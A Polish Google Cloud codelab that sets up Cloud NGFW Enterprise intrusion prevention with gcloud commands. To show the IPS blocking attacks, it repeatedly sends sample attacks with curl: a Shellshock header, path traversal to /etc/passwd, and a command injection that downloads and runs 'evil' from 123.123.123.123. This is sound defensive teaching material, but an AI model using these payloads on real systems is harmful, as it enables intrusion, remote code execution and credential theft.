1. Wprowadzenie
Zapora sieciowa Cloud Next Generation (NGFW)
Cloud Next Generation Firewall to w pełni rozproszona usługa zapory sieciowej z zaawansowanymi funkcjami ochrony, mikrosegmentacją i wszechstronnym zasięgiem, która chroni Twoje zbiory zadań Google Cloud przed atakami wewnętrznymi i zewnętrznymi.
Cloud NGFW ma te zalety:
- Rozproszona usługa zapory sieciowej: Cloud NGFW zapewnia stanowy, w pełni rozproszony sposób egzekwowania zasad na hoście dla każdego zbioru zadań, zapewniając architekturę zabezpieczeń typu „zero zaufania”.
- Uproszczona konfiguracja i wdrażanie: Cloud NGFW wdraża sieci i hierarchiczne zasady zapory sieciowej, które można dołączyć do węzła hierarchii zasobów. Te zasady zapewniają spójne środowisko zapory sieciowej w całej hierarchii zasobów Google Cloud.
- Szczegółowa kontrola i mikrosegmentacja: połączenie zasad zapory sieciowej z tagami zarządzanymi przez Identity and Access Management (IAM) zapewnia precyzyjną kontrolę nad ruchem zarówno z północy, jak i wschód-zachód, aż do poziomu jednej maszyny wirtualnej w sieciach i organizacjach prywatnego środowiska wirtualnego w chmurze (VPC).
Usługa Cloud NGFW jest dostępna na tych poziomach:
- Podstawy zapory sieciowej Cloud Next Generation
- Cloud Next Generation Firewall na poziomie Standard
- Cloud Next Generation Firewall Enterprise
Cloud NGFW Enterprise
Cloud NGFW Enterprise dodaje usługę zapobiegania włamaniom (IPS) (funkcję w warstwie 7) do rozproszonej sieci szkieletowej Google Cloud Firewall. Inspekcja TLS jest obsługiwana, aby umożliwić kontrolę ruchu zaszyfrowanego przy użyciu TLS, ale jest ona poza zakresem tego ćwiczenia z programowania (zobacz Cloud NGFW Enterprise Codelab with TLS Inspection).
Teraz możesz wdrażać niezawodne inspekcje zapory sieciowej warstwy 7 nowej generacji ze szczegółową kontrolą bez wprowadzania zmian w architekturze sieci czy konfiguracjach routingu.
Aby aktywować i wdrożyć kontrolę zapory sieciowej w warstwie 7 za pomocą IPS, wykonaj te czynności:
- Utwórz zbiór strefowych punktów końcowych zapory sieciowej Google Cloud.
- Opcjonalnie utwórz zasadę inspekcji TLS (nie opisano w tym ćwiczeniu w Codelabs)
- Opcjonalnie utwórz konfigurację zaufania (nie opisano w tym ćwiczeniu w Codelabs)
- Powiąż te punkty końcowe z sieciami prywatnego środowiska wirtualnego w chmurze (VPC), w których potrzebujesz usługi Cloud NGFW Enterprise.
- Wprowadź proste zmiany w istniejących zasadach zapory sieciowej i regułach zapory sieciowej, aby określić profile zapobiegania zagrożeniom na potrzeby różnych ścieżek ruchu.
Zasady zapory sieciowej
Zasada zapory sieciowej działa jako kontener dla reguł zapory sieciowej. Reguły zdefiniowane w zasadzie zapory sieciowej nie są nigdzie egzekwowane, dopóki zasada nie zostanie powiązana z siecią VPC. Z każdą siecią VPC może być powiązana 1 zasada zapory sieciowej. Zasady zapory sieciowej obsługują w regułach zapory sieciowej tagi zarządzane przez uprawnienia (lub tylko tagi). Zastępują one bieżące tagi sieciowe i mogą służyć do przyznawania tożsamości danym zadaniom.
Udostępnianie zasady zapory sieciowej między sieciami oraz integracja z tagami zarządzanymi uprawnieniami znacznie upraszcza konfigurację zapór sieciowych i zarządzanie nimi.
Dzięki wprowadzeniu zasad zapory sieciowej zasady zapory sieciowej Google Cloud składają się teraz z tych komponentów:
- Hierarchiczna zasada zapory sieciowej
- Reguły zapory sieciowej VPC
- Zasady zapory sieciowej ( globalne i regionalne)
Hierarchiczne zasady zapory sieciowej są obsługiwane na poziomie organizacji i węzłów folderów w hierarchii zasobów, natomiast reguły zapory sieciowej VPC i zasady zapory sieciowej są stosowane na poziomie VPC. Duże różnice między regułami zapory sieciowej VPC a zasadami zapory sieciowej VPC polegają na tym, że reguły zapory sieciowej VPC mogą być stosowane tylko do pojedynczej sieci VPC, natomiast zasady zapory sieciowej można dołączyć do pojedynczej sieci VPC lub grupy VPC i mają inne zalety, takie jak aktualizacje zbiorcze.
Mamy też domniemane reguły zapory sieciowej, które występują w każdej sieci VPC:
- Reguła ruchu wychodzącego, której działanie jest dozwolone, miejsce docelowe to 0.0.0.0/0
- Reguła dla ruchu przychodzącego, której działaniem jest odrzucenie, źródło to 0.0.0.0/0
Domyślnie sekwencja egzekwowania zasad jest przedstawiona na tym diagramie:
Pamiętaj, że kolejność egzekwowania zasad zapory sieciowej VPC a zasadą zapory sieciowej sieci globalnej można zamienić. Klienci mogą w każdej chwili określić nakaz egzekwowania zasad za pomocą polecenia gcloud.
Tagi zarządzane przez uprawnienia
Nowe tagi zintegrowane z regułami zasad zapory sieciowej to zasoby pary klucz-wartość zdefiniowane na poziomie organizacji lub na poziomie projektu w hierarchii zasobów Google Cloud. Taki tag zawiera kontrolę dostępu, która, jak wskazuje nazwa, określa, kto może wykonywać działania z tagiem. Uprawnienia pozwalają na przykład określać, które podmioty zabezpieczeń mogą przypisywać wartości do tagów, a które mogą dołączać tagi do zasobów. Gdy tag zostanie zastosowany do zasobu, reguły zapory sieciowej mogą go używać do zezwalania na ruch lub go odrzucania.
Tagi są zgodne z modelem zasobów dziedziczenia Google Cloud, co oznacza, że tagi i ich wartości są przekazywane w hierarchii z elementów nadrzędnych. W efekcie tagi można tworzyć w jednym miejscu, a potem używać ich w innych folderach i projektach w całej hierarchii zasobów. Szczegółowe informacje na temat tagów i ograniczeń dostępu znajdziesz na tej stronie.
Tagów nie należy mylić z tagami sieci. Te ostatnie można dodawać do instancji Compute Engine. są powiązane z instancją i znikają po wyłączeniu instancji. Reguły zapory sieciowej VPC mogą obejmować tagi sieciowe, ale nie są one uważane za zasoby w chmurze, więc nie podlegają kontroli dostępu uprawnień.
Pamiętaj, że w tym dokumencie tagi i tagi zarządzane przez uprawnienia są używane wymiennie.
Co utworzysz
To ćwiczenie w Codelabs wymaga pojedynczego projektu i możliwości utworzenia sieci VPC z połączeniami publicznymi. Pokażemy, jak Cloud NGFW Enterprise może zapewnić funkcje IPS przez:
- Sprawdzanie przepływów w sieci VPC/podsieci [wschód-zachód]
- Sprawdzanie przepływów ruchu przychodzącego z internetu [północ-południe]
Przepływy do sprawdzenia zostaną wybrane przy użyciu parametrów dopasowania Cloud Firewall, w tym 5-krotek (źródłowy adres IP, docelowy adres IP, protokół, port źródłowy, port docelowy) i tagów. To ćwiczenie nie obejmuje inspekcji TLS.
Baza reguł zasad zapory sieciowej będzie podobna do przedstawionej w tabeli poniżej:
Priorytet | Kierunek | Target | Źródło | Cel | Działanie | Typ |
100 | Ruch wychodzący | Quarantine_Tag | Dowolny | Dowolny | Odmów | Essentials |
1000 | Ruch przychodzący | Server_Tag | Zakresy kontroli stanu | Dowolny | Zezwól | Essentials |
2000 | Ruch przychodzący | Dowolny | Zakresy Identity-Aware Proxy | Dowolny | Zezwól | Essentials |
3000 | Ruch przychodzący | Dowolny | Dane geograficzne, GCTI | Dowolny | Odmów | Standardowe |
4000 | Ruch wychodzący | Dowolny | Dowolny | Dane geograficzne, GCTI | Odmów | Standardowe |
5000 | Ruch wychodzący | Dowolny | Dowolny | Pełne i jednoznaczne nazwy domen aktualizacji systemu | Zezwól | Standardowe |
6000 | Ruch przychodzący | Server_Tag | 10.0.0.0/24 | Dowolny | system zapobiegania włamaniom | Firma |
7000 | Ruch przychodzący | Server_Tag | CloudNAT_IP | Dowolny | system zapobiegania włamaniom | Firma |
Czego się nauczysz
- Jak utworzyć globalną zasadę zapory sieciowej sieci.
- Tworzenie i używanie tagów z zasadami zapory sieciowej
- Jak skonfigurować usługę zapobiegania włamaniom w Cloud NGFW Enterprise i jak z niej korzystać
Czego potrzebujesz
- Projekt Google Cloud
- Wiedza na temat wdrażania instancji i konfigurowania komponentów sieci
- Wiedza o konfiguracji zapory sieciowej VPC
2. Zanim zaczniesz
Utwórz/zaktualizuj zmienne
W tym ćwiczeniu w Codelabs używane są zmienne $variables, które ułatwiają implementację konfiguracji gcloud w Cloud Shell.
W Cloud Shell uruchom podane niżej polecenia, zastępując odpowiednie informacje w nawiasach kwadratowych (pomiń ustawianie projektu, jeśli jest już ustawiony). W przypadku zasobów na poziomie organizacji używana jest inna zmienna, np. punkty końcowe zapory sieciowej są wymagane.
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=cloudngfw export org_prefix=cloudngfw export billing_project_id=[project-id]
3. Włącz interfejsy API
Włącz interfejsy API, jeśli nie zostało to jeszcze zrobione:
gcloud services enable compute.googleapis.com gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. Tworzenie profilu zabezpieczeń firmy i punktu końcowego Cloud NGFW
Ponieważ tworzenie punktu końcowego Cloud NGFW Enterprise zajmuje około 20 minut, zostanie on utworzony najpierw, a konfigurację podstawową można przeprowadzić równolegle podczas jego tworzenia.
Utwórz profil zabezpieczeń i grupę profili zabezpieczeń:
gcloud network-security security-profiles threat-prevention \ create $org_prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $org_prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat
Oczekiwane dane wyjściowe:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com plete...done. Created security profile group [$org_prefix-spg].
Sprawdź, czy zasoby zostały utworzone:
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
Oczekiwane dane wyjściowe:
NAME: cloudngfw-sp-threat NAME: cloudngfw-spg
Utwórz punkt końcowy Cloud NGFW Enterprise:
gcloud network-security firewall-endpoints create $org_prefix-$zone \ --zone=$zone --organization $org_id \ --billing-project $billing_project_id
Uruchom poniższe polecenie, aby sprawdzić, czy punkt końcowy jest tworzony (STATE: CREATING).
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Oczekiwane dane wyjściowe (format wyjściowy może się różnić w zależności od używanego klienta):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: CREATING
Opcjonalnie uruchom poniższe polecenie, aby uzyskać więcej informacji:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
Oczekiwane dane wyjściowe:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: CREATING updateTime: '2023-04-25T18:08:45.493499362Z'
Proces tworzenia punktu końcowego trwa około 20 minut. Przejdź do sekcji konfiguracji podstawowej, aby utworzyć wymagane zasoby równolegle.
5. Konfiguracja podstawowa
Jeśli wolisz ręcznie utworzyć zasoby podstawowe, przejdź do kolejnych sekcji.
Sieć i podsieć VPC
Sieć i podsieć VPC
Utwórz sieć i podsieć VPC:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
Utwórz routery Cloud Router i bramy Cloud NAT:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
Wyświetlenia
Utwórz instancje klienta i serwera WWW:
gcloud compute instances create $prefix-$zone-www \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2 tcpdump iperf3 -y a2ensite default-ssl a2enmod ssl # Read VM network configuration: md_vm="http://169.254.169.254/computeMetadata/v1/instance/" vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )" filter="{print \$NF}" vm_network="$(curl $md_vm/network-interfaces/0/network \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" vm_zone="$(curl $md_vm/zone \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" # Apache configuration: echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \ tee /var/www/html/index.html systemctl restart apache2' gcloud compute instances create $prefix-$zone-client \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --scopes=compute-ro \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2-utils iperf3 tcpdump -y'
Tagi na poziomie profilu
W razie potrzeby przypisz użytkownikowi uprawnienia tagAdmin lub tagUser:
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser
Utwórz klucz i wartości tagu na poziomie projektu:
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-quarantine \ --parent=$project_id/$prefix-vpc-tags
Powiąż tagi z instancjami:
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
Zasada zapory sieciowej sieci globalnej
Utwórz zasadę zapory sieciowej sieci globalnej:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise" --global
Utwórz podstawowe reguły Cloud Firewall, aby odrzucać ruch z instancji poddanych kwarantannie (utworzonych tylko jako przykład i nie jest używany w tym ćwiczeniu w programowaniu) oraz zezwolić na ruch z zakresów kontroli stanu i serwera proxy identyfikującego tożsamość:
gcloud compute network-firewall-policies rules create 100 \ --description="block quarantined workloads" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=EGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \ --dest-ip-ranges=0.0.0.0/0 gcloud compute network-firewall-policies rules create 1000 \ --description="allow http traffic from health-checks ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22 gcloud compute network-firewall-policies rules create 2000 \ --description="allow ssh traffic from identity-aware-proxy ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:22 \ --direction=INGRESS \ --src-ip-ranges=35.235.240.0/20
tworzyć reguły Cloud Firewall na poziomie Standard, aby odrzucać ruch przychodzący i wychodzący z/do krajów objętych embargiem, znanych złośliwych adresów IP i węzłów wyjściowych ToR; i zezwól na ruch wychodzący do określonych pełnych i jednoznacznych nazw domen na potrzeby aktualizacji systemu (utworzone tylko jako przykład i nieużywane w tym ćwiczeniu w Codelabs):
gcloud compute network-firewall-policies rules create 3000 \ --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=INGRESS \ --src-region-codes CU,IR,KP,SY,XC,XD \ --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips gcloud compute network-firewall-policies rules create 4000 \ --description="block egress traffic from sactioned countries, known malicious IPs and ToR exit nodes" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=EGRESS \ --dest-region-codes CU,IR,KP,SY,XC,XD \ --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips gcloud compute network-firewall-policies rules create 5000 \ --description "allow system updates" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com
Utwórz reguły zapory sieciowej Cloud, aby zezwolić na ruch przychodzący ze wschodu na zachód / w podsieci oraz z północy na południe / w internecie z określonych zakresów (te reguły zostaną zaktualizowane, aby włączyć Cloud NGFW Enterprise):
gcloud compute network-firewall-policies rules create 6000 \ --description "allow ingress internal traffic from clients" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=INGRESS \ --enable-logging \ --layer4-configs all \ --src-ip-ranges=10.0.0.0/24 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud compute network-firewall-policies rules create 7000 \ --description "allow ingress external traffic to server" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --enable-logging \ --src-ip-ranges=$cloudnatip \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
Powiąż zasadę zapory sieciowej sieci z siecią VPC:
gcloud compute network-firewall-policies associations create \ --firewall-policy $prefix-fwpolicy \ --network $prefix-vpc \ --name $prefix-fwpolicy-association \ --global-firewall-policy
Zewnętrzny sieciowy system równoważenia obciążenia TCP/UDP
Zarezerwuj zewnętrzny adres IP i utwórz grupę instancji oraz kontrolę stanu:
gcloud compute addresses create $prefix-$region-nlbip --region=$region gcloud compute instance-groups unmanaged create $prefix-ig \ --zone $zone gcloud compute instance-groups unmanaged add-instances $prefix-ig \ --instances $prefix-$zone-www --zone $zone gcloud compute health-checks create http $prefix-$region-hc-http80 \ --region $region --port 80
Utwórz usługę backendu i regułę przekierowania:
gcloud compute backend-services create $prefix-nlb-bes \ --protocol TCP \ --health-checks $prefix-$region-hc-http80 \ --health-checks-region $region \ --region $region gcloud compute backend-services add-backend $prefix-nlb-bes \ --instance-group $prefix-ig \ --instance-group-zone $zone \ --region $region gcloud compute forwarding-rules create $prefix-nlb-ipv4 \ --load-balancing-scheme EXTERNAL \ --region $region \ --ports 80 \ --address $prefix-$region-nlbip \ --backend-service $prefix-nlb-bes
6. Powiązanie punktu końcowego Cloud NGFW w firmie
W razie potrzeby ponownie zdefiniuj zmienne środowiskowe.
Sprawdź, czy punkt końcowy Cloud Firewall został utworzony. Przejdź dalej tylko wtedy, gdy stan zmieni się na AKTYWNE (oczekiwany stan podczas tworzenia to TWORZENIE):
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Oczekiwane dane wyjściowe (format wyjściowy może się różnić w zależności od używanego klienta):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: ACTIVE
Opcjonalnie uruchom poniższe polecenie, aby uzyskać więcej informacji:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
Oczekiwane dane wyjściowe:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: ACTIVE updateTime: '2023-04-25T18:29:40.840608100Z'
Powiąż punkt końcowy Cloud NGFW Enterprise z siecią VPC:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc --endpoint $org_prefix-$zone \ --organization $org_id
Proces powiązania trwa około 10 minut. Przejdź dalej tylko wtedy, gdy stan zmieni się na AKTYWNE (oczekiwany stan podczas procesu tworzenia to TWORZĘ):
gcloud network-security firewall-endpoint-associations list
Oczekiwane dane wyjściowe:
ID: cloudngfw-association LOCATION: [zone] NETWORK: cloudngfw-vpc ENDPOINT: cloudngfw-[zone] STATE: ACTIVE
Opcjonalnie uruchom poniższe polecenie, aby uzyskać więcej informacji:
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
Oczekiwane dane wyjściowe:
createTime: '2023-05-01T22:25:06.218544436Z' firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association network: projects/[project-id]/global/networks/cloudngfw-vpc state: ACTIVE updateTime: '2023-05-01T22:33:06.467596536Z'
7. Reguły inspekcji Enterprise w Cloud NGFW
Otwórz nową kartę i zainicjuj połączenie SSH z kliencką maszyną wirtualną za pomocą IAP (konieczne będzie ponowne zdefiniowanie zmiennych w nowej karcie):
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Zdefiniuj zmienne wymagane w sesji SSH i ustaw zmienne (upewnij się, że wartości są prawidłowe):
export region=[region] export zone=[zone] export prefix=cloudngfw export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)") export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")
curl oba adresy IP, aby potwierdzić, że są osiągalne:
curl $target_privateip --max-time 2 curl $target_nlbip --max-time 2
Oczekiwany wynik w przypadku obu żądań curl:
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
Wysyłaj przykładowe ataki na wewnętrzny adres IP serwera (ruch wschód-zachód / ruch wewnątrz VPC). Serwer WWW powinien odpowiadać na wszystkie żądania, potwierdzając, że nie ma realizowanej kontroli/zapobiegania L7:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3 curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Wyślij ponownie przykładowe ataki na adres IP serwera zewnętrznego przez Cloud NAT (ruch przychodzący z północy na południe). Podobnie serwer WWW powinien odpowiadać na wszystkie żądania:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Oczekiwane wyniki zarówno w przypadku publicznych, jak i prywatnych adresów IP:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone] <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
Wróć do Cloud Shell i zaktualizuj istniejące reguły ruchu przychodzącego, aby włączyć kontrolę L7:
gcloud compute network-firewall-policies rules update 6000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg gcloud compute network-firewall-policies rules update 7000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
Opcjonalnie opisz reguły zapory sieciowej, aby sprawdzić, czy obie zostały zaktualizowane:
gcloud compute network-firewall-policies rules describe 6000 \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy
Oczekiwane dane wyjściowe:
--- action: apply_security_profile_group description: allow ingress internal traffic from tagged clients direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: all srcIpRanges: - 10.0.0.0/24 priority: 800 ruleTupleCount: 4 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
Reguła 7000:
gcloud compute network-firewall-policies rules describe 7000 \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy
Oczekiwane dane wyjściowe:
--- action: apply_security_profile_group description: allow ingress external traffic to server direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: tcp ports: - '80' - ipProtocol: tcp ports: - '443' srcIpRanges: - [cloudnat-ip] priority: 900 ruleTupleCount: 6 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
Przełącz się z powrotem na maszynę wirtualną klienta i ponownie wyślij przykładowe ataki na wewnętrzny adres IP serwera (inspekcja wschód-zachód / wewnątrz VPC):
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3 curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Wyślij ponownie przykładowe ataki na adres IP serwera zewnętrznego przez Cloud NAT (inspekcja przychodząca z północy na południe):
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
W przypadku pierwszych ataków nie otrzymaliśmy żadnych odpowiedzi zgodnych z oczekiwaniami podanymi poniżej, co potwierdza, że ataki o wysokiej wadze są teraz blokowane.
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
Otwórz Bezpieczeństwo sieci > Zagrożenia w konsoli Cloud umożliwiające weryfikację logów (jeśli ataki nie są jeszcze widoczne, konieczne może być kilkukrotne odświeżenie).
Wybierz jeden z ataków i kliknij „Wyświetl log kontrolny”. z prawej strony (otwiera się w nowej karcie, aby łatwo przełączyć się z powrotem). Rozwiń atak, aby wyświetlić szczegóły:
Opcjonalnie możesz zastąpić filtr Eksploratora logów tym zapytaniem:
resource.type="networksecurity.googleapis.com/FirewallEndpoint"
Wpisy w logu zagrożeń powinny wyglądać tak:
Pakiety przechwycone przez Cloud Firewall można zweryfikować przy użyciu poniższego filtra Eksploratora logów (przydatny podczas rozwiązywania problemów):
jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"
Przejdź do kontroli ruchu internetowego (opcjonalnie) lub zamknij sesję SSH i przejdź do następnego rozdziału zawierającego instrukcje czyszczenia.
[Opcjonalnie] Kontrola ruchu w internecie
Jak informowaliśmy w poprzedniej sekcji, dotychczas sprawdzane przepływy to ruch w podsieci/VPC (wschód-zachód) oraz ruch przychodzący z internetu (przychodzący z północy na południe). Usługę Cloud NGFW Enterprise można też skonfigurować do badania całego ruchu internetowego (wychodzący północ-południe) przez utworzenie w Cloud Shell nowej reguły ruchu wychodzącego:
gcloud compute network-firewall-policies rules create 10000 \ --description "inspect all egress internet traffic from clients" \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-ip-ranges=0.0.0.0/0 \ --enable-logging \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
Wróć do klienckiej maszyny wirtualnej i ponownie wyślij ataki o wysokim poziomie ważności na zewnętrzny adres IP serwera:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
Oczekiwane dane wyjściowe:
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received
